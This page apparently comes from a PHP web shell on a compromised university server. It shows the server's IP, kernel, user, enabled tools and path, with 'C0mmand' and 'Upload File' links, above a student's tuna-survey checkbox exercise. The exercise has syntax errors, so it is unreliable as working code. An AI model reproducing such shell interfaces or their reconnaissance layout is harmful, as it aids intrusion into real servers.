Server IP : 172.16.15.8 / Your IP : 18.116.14.48 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/cjabbott/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- p. 90 using array for checkbox --> <HTML> <HEAD> <TITLE> Survey </TITLE> </HEAD> <BODY> <FONT FACE = "Tahoma" SIZE = 4> <FORM ACTION = tunaresults.php METHOD = post> <?php $menu = array('Tuna Casserole', 'Tuna Sandwich', 'Tuna Pie', 'Grilled Tuna', 'Tuna Surprise'); $bestseller = 2; print "Please indicate all your favorite dishes.<BR>"; for ($i=0; $i<count($menu); i++) { print "<INPUT TYPE=checkbox NAME=prefer[] VALUE=$i> $menu[$i]"; if($i == $bestseller) { print "<font color="red"> Our Best Seller!!! </font>"; } print "<BR>"; } ?> <INPUT TYPE = submit VALUE = "Click to Submit"> <INPUT TYPE = reset VALUE = "Erase and Restart"> </FORM> </FONT> </BODY> </HTML>